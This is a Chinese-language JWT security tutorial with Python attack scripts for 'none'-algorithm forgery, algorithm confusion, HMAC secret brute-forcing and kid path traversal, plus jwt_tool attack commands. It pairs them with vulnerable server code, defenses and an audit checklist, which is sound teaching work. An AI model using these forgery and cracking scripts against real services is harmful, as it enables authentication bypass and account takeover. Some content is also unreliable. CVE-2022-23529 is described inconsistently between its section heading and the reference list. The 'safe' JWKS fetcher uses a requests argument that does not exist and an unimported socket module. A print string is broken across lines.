一、JWT 基础概念

1.1 JWT 结构

JWT 由三部分组成,用 . 分隔:

Header.Payload.Signature
   │       │        │
   │       │        └── HMAC-SHA256(header + "." + payload, secret)
   │       └── Base64Url({"sub": "user123", "exp": 1700000000, "role": "admin"})
   └── Base64Url({"alg": "HS256", "typ": "JWT"})

1.2 快速解析工具

import base64
import json

def decode_jwt(token: str) -> dict:
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError('invalid JWT format')

    result = {}
    for i, label in enumerate(['header', 'payload', 'signature']):
        pad = '=' * (4 - len(parts[i]) % 4)
        decoded = base64.urlsafe_b64decode(parts[i] + pad)
        if i < 2:
            result[label] = json.loads(decoded)
        else:
            result[label] = decoded.hex()
    return result

# 使用示例
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.signature'
print(json.dumps(decode_jwt(token), indent=2))

二、攻击一:None 算法绕过

2.1 漏洞原理

JWT 规范(RFC 7519)允许 alg: none 表示"不签名"。如果服务端未正确过滤该算法,攻击者可以伪造任意 payload 且无需签名。

2.2 攻击脚本

import base64
import json

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def forge_none_token(payload: dict) -> str:
    header = {"alg": "none", "typ": "JWT"}

    header_b64 = b64url_encode(json.dumps(header).encode())
    payload_b64 = b64url_encode(json.dumps(payload).encode())

    # None 算法下签名为空字符串
    return f"{header_b64}.{payload_b64}."

# 伪造管理员 token
evil_payload = {
    "sub": "admin",
    "role": "super_admin",
    "iat": 1700000000,
    "exp": 1999999999,
}

forged = forge_none_token(evil_payload)
print(f"[+] Forged token: {forged}")

2.3 脆弱服务端实现

// 🔴 危险:允许 none 算法
const jwt = require('jsonwebtoken');
const token = req.headers.authorization.replace('Bearer ', '');

try {
  const decoded = jwt.verify(token, SECRET, {
    algorithms: ['HS256', 'HS384', 'HS512', 'none'], // 包含 none!
  });
  console.log('Authenticated:', decoded.sub);
} catch (err) {
  console.error('Invalid token:', err.message);
}

2.4 防御措施

// ✅ 安全:显式禁止 none 算法
const decoded = jwt.verify(token, SECRET, {
  algorithms: ['HS256'], // 只允许明确的签名算法
  // 不要包含 'none'、'HS256' 之外的任何东西
});

// 或者使用 jose 等更现代的库
const { importJWK, CompactSign, CompactVerify } = require('jose');

async function verifyJWT(token, key) {
  const { payload, protectedHeader } = await CompactVerify(
    token,
    await importJWK({ kty: 'oct', k: Buffer.from(key).toString('base64url') }, 'HS256')
  );

  if (protectedHeader.alg !== 'HS256') {
    throw new Error('only HS256 accepted');
  }
  return payload;
}

三、攻击二:算法混淆攻击(Algorithm Confusion)

3.1 漏洞原理

当客户端使用对称加密(HS256)而服务端实际存储了非对称加密(RS256)的公钥时,攻击者可以用公钥作为 HMAC 密钥来伪造签名。

正常流程:
  签名用私钥 (RS256) → 验证用公钥

攻击流程:
  攻击者用公钥做 HMAC-SHA256 签名 → 服务端误将公钥当作 HS256 密钥验证

3.2 攻击脚本

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
import hmac
import hashlib
import base64
import json

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def load_public_key_pem(path: str) -> bytes:
    with open(path, 'rb') as f:
        return f.read()

def attack_alg_confusion(target_payload: dict, rsa_public_key_pem: bytes) -> str:
    # 攻击者获取到目标服务器的 RSA 公钥
    pub_key_bytes = rsa_public_key_pem

    # 步骤1: 将 header 改成 HS256
    header = {"alg": "HS256", "typ": "JWT"}

    header_b64 = b64url_encode(json.dumps(header).encode())
    payload_b64 = b64url_encode(json.dumps(target_payload).encode())

    signing_input = f"{header_b64}.{payload_b64}".encode()

    # 步骤2: 用 RSA 公钥作为 HMAC 密钥签名
    signature = hmac.new(
        pub_key_bytes,
        signing_input,
        hashlib.sha256,
    ).digest()

    sig_b64 = b64url_encode(signature)
    return f"{header_b64}.{payload_b64}.{sig_b64}"

# 使用示例
public_key = load_public_key_pem('server_public.pem')
forged_payload = {"sub": "admin", "role": "administrator"}
malicious_token = attack_alg_confusion(forged_payload, public_key)
print(f"[+] Attack token: {malicious_token}")

3.3 脆弱服务端代码

# 🔴 危险:没有固定算法,信任 header 中的 alg 字段
from jose import jwt, JWTError

public_key = open('server_public.pem').read()
secret_key = "my_hmac_secret"

def verify_token(token: str):
    header = jwt.get_unverified_header(token)
    alg = header.get('alg', 'HS256')

    if alg.startswith('HS'):
        # 对称加密,使用 secret_key
        key = secret_key
    elif alg.startswith('RS') or alg.startswith('ES'):
        # 非对称加密,使用公钥
        key = public_key
    else:
        raise JWTError(f'unsupported algorithm: {alg}')

    # 🔴 这里如果攻击者把 alg 改成 HS256,会使用 public_key 作为 HMAC 密钥
    return jwt.decode(token, key, algorithms=[alg])

3.4 防御

严格固定算法白名单

from jose import jwt

def verify_token_safe(token: str) -> dict:
    # 无论 header 写什么,都只允许 RS256
    return jwt.decode(
        token,
        public_key,
        algorithms=['RS256'],  # 固定算法
        audience='expected-aud',
        issuer='expected-iss',
    )

四、攻击三:HMAC 密钥爆破

4.1 漏洞原理

如果 HMAC-SHA256 使用了弱密钥(短密码、常见词),攻击者可以通过暴力破解找回密钥。

4.2 爆破工具实现

import hmac
import hashlib
import base64
import json
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

TARGET_TOKEN = sys.argv[1]
WORDLIST = sys.argv[2]

def b64url_decode(s: str) -> bytes:
    pad = '=' * (4 - len(s) % 4)
    return base64.urlsafe_b64decode(s + pad)

def verify_signature(secret: bytes, signing_input: bytes, expected_sig: bytes) -> bool:
    computed = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return hmac.compare_digest(computed, expected_sig)

def crack_hs256(token: str, wordlist_path: str) -> str | None:
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError('invalid token')

    signing_input = f"{parts[0]}.{parts[1]}".encode()
    expected_sig = b64url_decode(parts[2])

    candidates = []
    with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
        for line in f:
            word = line.strip()
            if word:
                candidates.append(word)

    print(f"[*] Loaded {len(candidates)} candidates")

    def try_secret(word: str) -> str | None:
        secret = word.encode()
        if verify_signature(secret, signing_input, expected_sig):
            return word
        # 也尝试带引号和常见后缀
        variants = [word, f'"{word}"', f"{word}123", f"{word}!"]
        for v in variants:
            if verify_signature(v.encode(), signing_input, expected_sig):
                return v
        return None

    start = time.time()
    with ThreadPoolExecutor(max_workers=8) as executor:
        futures = {executor.submit(try_secret, w): w for w in candidates}
        for future in as_completed(futures):
            result = future.result()
            if result:
                elapsed = time.time() - start
                print(f"[+] FOUND! Secret: {result} (in {elapsed:.1f}s)")
                return result

    print(f"[-] Not found in {time.time() - start:.1f}s")
    return None

if __name__ == '__main__':
    secret = crack_hs256(TARGET_TOKEN, WORDLIST)
    if secret:
        print(f"
[+] Recovered secret: {secret}")

4.3 生成测试 Token

import hmac
import hashlib
import base64
import json

def make_token(secret: str, payload: dict) -> str:
    header = {"alg": "HS256", "typ": "JWT"}
    header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
    payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
    signing_input = f"{header_b64}.{payload_b64}".encode()
    sig = hmac.new(secret.encode(), signing_input, hashlib.sha256).digest()
    sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
    return f"{header_b64}.{payload_b64}.{sig_b64}"

# 用弱密钥生成 token
print(make_token("secret", {"sub": "test", "role": "admin"}))

4.4 防御

// 使用足够强的密钥(至少 256 位随机数)
const crypto = require('crypto');

const SECRET = crypto.randomBytes(48).toString('hex'); // 384 位熵
console.log(SECRET);

// 生产环境用 PBKDF2 或 Argon2 派生密钥
const derivedKey = crypto.pbkdf2Sync(
  process.env.JWT_SECRET_PASSPHRASE,
  'fixed-salt-for-your-app',
  210000,  // 迭代次数
  48,
  'sha512'
);

五、攻击四:KID(Key ID)注入

5.1 漏洞原理

JWT Header 中的 kid(Key ID)字段用于标识使用哪个密钥签名。如果服务端直接将 kid 拼接到文件路径或查询语句中,可能导致路径遍历或 SQL 注入。

5.2 路径遍历攻击

// 🔴 危险:直接用 kid 拼路径
const fs = require('fs');
const jwt = require('jsonwebtoken');

function findKey(kid) {
  // 攻击者传入 kid: "../../../etc/passwd" 可能导致路径遍历
  const keyPath = `/var/keys/${kid}.pem`;
  return fs.readFileSync(keyPath, 'utf8');
}

function verify(token) {
  const header = jwt.decode(token, { complete: true }).header;
  const key = findKey(header.kid); // 直接拼接路径
  return jwt.verify(token, key, { algorithms: ['RS256'] });
}

5.3 攻击 Payload

import json
import base64
import hmac
import hashlib

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# 构造恶意 kid
malicious_header = {
    "alg": "HS256",
    "typ": "JWT",
    "kid": "../../../etc/passwd"  # 路径遍历
}

payload = {"sub": "attacker"}

header_b64 = b64url_encode(json.dumps(malicious_header).encode())
payload_b64 = b64url_encode(json.dumps(payload).encode())
signing_input = f"{header_b64}.{payload_b64}".encode()

# 用 /etc/passwd 文件内容作为密钥签名
with open('/etc/passwd', 'rb') as f:
    secret_data = f.read()

sig = hmac.new(secret_data, signing_input, hashlib.sha256).digest()
sig_b64 = b64url_encode(sig)
print(f"{header_b64}.{payload_b64}.{sig_b64}")

5.4 防御

// ✅ 安全:使用严格的白名单查找
const KEY_STORE = {
  'key-2024-q1': fs.readFileSync('/var/keys/key-2024-q1.pem'),
  'key-2024-q2': fs.readFileSync('/var/keys/key-2024-q2.pem'),
};

function findKey(kid) {
  if (!KEY_STORE[kid]) {
    throw new Error('unknown kid');
  }
  return KEY_STORE[kid];
}

// 同时对 kid 做格式校验
const KID_REGEX = /^[a-zA-Z0-9_-]+$/;

function safeFindKey(kid) {
  if (!KID_REGEX.test(kid)) {
    throw new Error('invalid kid format');
  }
  return findKey(kid);
}

六、攻击五:JWT 密钥混淆(JKS/JWK 转换)

6.1 漏洞原理

当服务器使用 RSA 密钥对时,若攻击者能上传自己的公钥并令服务器将其作为验证密钥,即可用对应的私钥签名任意 Token。

6.2 示例:JMESPath 注入(CVE-2022-23529)

某些 JWT 库支持从 JWK Set URL 动态获取密钥。若 URL 解析存在缺陷,攻击者可能控制密钥内容。

# 脆弱实现:信任 jwk_url
import requests
from jose import jwt

def verify_jwt_with_jwks(token: str, jwk_url: str) -> dict:
    # 🔴 直接请求,未校验 URL 目标
    resp = requests.get(jwk_url, timeout=5)
    jwks = resp.json()

    # 从 jwks 中找到匹配 kid 的 key
    header = jwt.get_unverified_header(token)
    matching_keys = [k for k in jwks['keys'] if k.get('kid') == header.get('kid')]

    if not matching_keys:
        raise ValueError('no matching key')

    from jose.utils import import_rsa_key_from_pem
    return jwt.decode(token, matching_keys[0], algorithms=['RS256'])

6.3 防御

from urllib.parse import urlparse
import ipaddress

def safe_fetch_jwks(jwk_url: str) -> dict:
    parsed = urlparse(jwk_url)

    # 只允许 HTTPS
    if parsed.scheme != 'https':
        raise ValueError('jwks must be served over HTTPS')

    # 禁止请求内网地址
    hostname = parsed.hostname
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(hostname))
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            raise ValueError('jwks URL points to internal address')
    except ValueError:
        # 域名解析失败
        raise

    # 设置超时和响应大小限制
    resp = requests.get(jwk_url, timeout=5, max_content_length=65536)
    return resp.json()

七、攻击六:JWT 重放(Replay)

7.1 漏洞描述

JWT 本身是无状态的,有效期内可以被无限次使用。攻击者截获 Token 后可以重放,直到过期。

7.2 场景:未绑定会话的 Token

# 攻击者截获 token 后,无论在哪里都能使用
# 服务端没有校验 token 与设备/会话的绑定关系

@app.route('/api/transfer', methods=['POST'])
def transfer():
    token = request.headers.get('Authorization', '').replace('Bearer ', '')
    payload = jwt.decode(token, SECRET, algorithms=['HS256'])

    # 🔴 只校验了 exp,没有 jti 黑名单或会话绑定
    amount = request.json.get('amount')
    target = request.json.get('target_account')
    execute_transfer(payload['sub'], target, amount)

7.3 防御:Nonce / JTI + 黑名单

# 使用 jti 唯一标识每个 token,服务端维护已使用的 jti
used_jtis = set()

def issue_token(user_id: str, jti: str, ttl_seconds: int = 600) -> str:
    payload = {
        'sub': user_id,
        'jti': jti,
        'iat': time.time(),
        'nbf': time.time(),
        'exp': time.time() + ttl_seconds,
    }
    return jwt.encode(payload, SECRET, algorithm='HS256')

def verify_and_track(token: str) -> dict:
    payload = jwt.decode(token, SECRET, algorithms=['HS256'])

    jti = payload.get('jti')
    if not jti:
        raise ValueError('missing jti')

    if jti in used_jtis:
        raise ValueError('token already used (replay detected)')

    used_jtis.add(jti)
    return payload

7.4 更完善:DPoP(RFC 9449)

DPoP(Demonstrating Proof-of-Possession)将 Token 绑定到攻击者无法获取的密钥对,彻底防止重放:

// 客户端:生成临时密钥对
const keyPair = await crypto.subtle.generateKey(
  { name: 'ECDSA', namedCurve: 'P-256' },
  true,
  ['sign', 'verify']
);

// 用 DPoP 证明绑定到这个密钥对的 Token
const dpopProof = await generateDPoPProof({
  keyPair,
  htm: 'POST',
  htu: 'https://api.example.com/transfer',
  accessToken: bearerToken,
});

// 发送请求
fetch('https://api.example.com/transfer', {
  method: 'POST',
  headers: {
    'Authorization': `DPoP ${bearerToken}`,
    'DPoP': dpopProof,
  },
});

八、攻击七:JWE(加密 Token)密钥问题

8.1 漏洞描述

JWT 也有加密版本 JWE(JSON Web Encryption),但密钥管理不当会导致明文泄露。

8.2 弱密钥派生

from cryptography.hazmat.primitives.ciphers.aead import AESGCM

# 🔴 危险:直接用密码作为 AES 密钥
password = "12345678"
key = password.encode().ljust(32, b'')  # 直接填充,没有 KDF

aesgcm = AESGCM(key)
# 攻击者只要猜到密码就能解密

8.3 安全做法

from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend

def derive_aes_key(password: str, salt: bytes) -> bytes:
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,          # 256 位
        salt=salt,
        iterations=600000,  # 足够大的迭代次数
        backend=default_backend(),
    )
    return kdf.derive(password.encode())

九、JWT 安全库选择

不同语言的 JWT 库安全性差异很大,以下是推荐列表:

语言 推荐库 避免使用
Node.js jose@panva/jose jsonwebtoken(注意配置)
Python authlibPyJWT 自己实现
Java auth0/jwtNimbus JOSE 老旧的 jjwt
Go golang-jwt/jwt dgrijalva/jwt-go(已废弃)
Rust biscuitjsonwebtoken 自己造轮子

9.1 使用 PyJWT 的安全示例

import jwt
from datetime import datetime, timedelta, timezone

class JWTHandler:
    def __init__(self, secret: str, algorithm: str = 'HS256'):
        self.secret = secret
        self.algorithm = algorithm

    def issue(self, claims: dict, ttl_minutes: int = 15) -> str:
        payload = {
            **claims,
            'iat': datetime.now(timezone.utc),
            'nbf': datetime.now(timezone.utc),
            'exp': datetime.now(timezone.utc) + timedelta(minutes=ttl_minutes),
            'jti': __import__('uuid').uuid4().hex,
        }
        return jwt.encode(payload, self.secret, algorithm=self.algorithm)

    def verify(self, token: str, audience: str | None = None, issuer: str | None = None) -> dict:
        options = {
            'require': ['exp', 'iat', 'nbf'],
            'verify_exp': True,
            'verify_iat': True,
            'verify_nbf': True,
        }
        return jwt.decode(
            token,
            self.secret,
            algorithms=[self.algorithm],  # 固定算法
            audience=audience,
            issuer=issuer,
            options=options,
        )

十、JWT 安全审计 Checklist

  • 是否固定了允许的算法列表(禁止 none)
  • 是否明确拒绝了 HS 算法(如使用 RS256)
  • HMAC 密钥是否足够强(至少 256 位随机)
  • 是否校验了 exp、iat、nbf、aud、iss
  • 是否有 jti 重放防护
  • 是否限制了 payload 大小(防止 DoS)
  • kid 是否做了严格校验
  • 动态 JWKS URL 是否有 SSRF 防护
  • 刷新令牌是否与 access_token 有区分
  • 是否实现了令牌吊销机制
  • 是否考虑了 DPoP 或会话绑定
  • 是否禁用了不安全的 JWE 算法
  • 密钥是否定期轮换

十一、实战:完整的攻击链演示

假设我们抓到一个 token:

# 1. 解析结构
echo "$TOKEN" | jq -R 'split(".") | .[0], .[1] | @base64d | fromjson'

# 2. 检查是否有 alg:none 漏洞
# 使用 jwt_tool 自动检测
python3 jwt_tool.py "$TOKEN" -t

# 3. 测试 None 算法
python3 jwt_tool.py "$TOKEN" -T a -to

# 4. 测试 algorithm confusion
python3 jwt_tool.py "$TOKEN" -X k -pk server_public.pem

# 5. 爆破密钥
python3 jwt_tool.py "$TOKEN" -C -w rockyou.txt

十二、总结

JWT 的攻击面丰富多样,但核心问题几乎都源于:

  1. 过度信任客户端可控字段(alg、kid、payload 内容)
  2. 密钥管理不当(弱密钥、算法混淆、泄露)
  3. 缺少防护层(无吊销、无会话绑定、无重放检测)

防御的核心原则是 最小信任 + 深度防御:服务端始终是唯一的信任边界,客户端提供的 Token 只是一个"需要被反复验证的凭证",而非权威的身份声明。

十三、参考资料

  • RFC 7519: JSON Web Token
  • RFC 7518: JSON Web Algorithms
  • RFC 9449: DPoP
  • OWASP JWT Cheat Sheet
  • PortSwigger JWT Attack Playbook
  • CVE-2015-9235 - JWT None Algorithm
  • CVE-2016-10555 - Algorithm Confusion in jsonwebtoken
  • CVE-2022-23529 - JWS Header Injection in go-jose